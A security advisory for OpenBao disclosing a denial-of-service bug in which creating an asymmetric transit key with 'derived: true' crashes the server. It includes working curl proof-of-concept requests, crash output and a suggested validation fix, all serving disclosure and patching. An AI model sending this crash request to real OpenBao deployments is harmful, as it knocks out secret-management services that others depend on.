GHSA-8w8f-r2xv-4q4j
OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/openbao/openbao | >= 0.1.0, <= 2.5.4 | no fix listed |
| Go | github.com/openbao/openbao | < 0.0.0-20260617104123-db57c62602b2 | 0.0.0-20260617104123-db57c62602b2 |
Details
As written in the advisory (Markdown source, shown as plain text).
On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`)
with `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.
Mount the transit engine:
`curl -sS -X POST -H "X-Vault-Token: root" \
-d '{"type":"transit"}' \
http://127.0.0.1:8200/v1/sys/mounts/transit`
Trigger the crash:
`curl -sS -w '\nHTTP %{http_code}\n' -X POST \
-H "X-Vault-Token: root" \
-H "Content-Type: application/json" \
-d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \
http://127.0.0.1:8200/v1/transit/keys/some-key-name`
You can try with both JSON or HCL It will crash the entire cluster.
Observed:
HTTP 000
curl: (52) Empty reply from server
$ docker ps -a --filter name=openbao
STATUS: Exited (2)
Root Cause (Hypothesis)
Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or
invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit `policy.go` / key-creation path.
Suggested fix:
Validate the (`type`, `derived`) combination at the top of the create-key handler. Reject with a 400 if `derived: true` is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305,
xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.
References
External links from the advisory. They lead to third-party sites.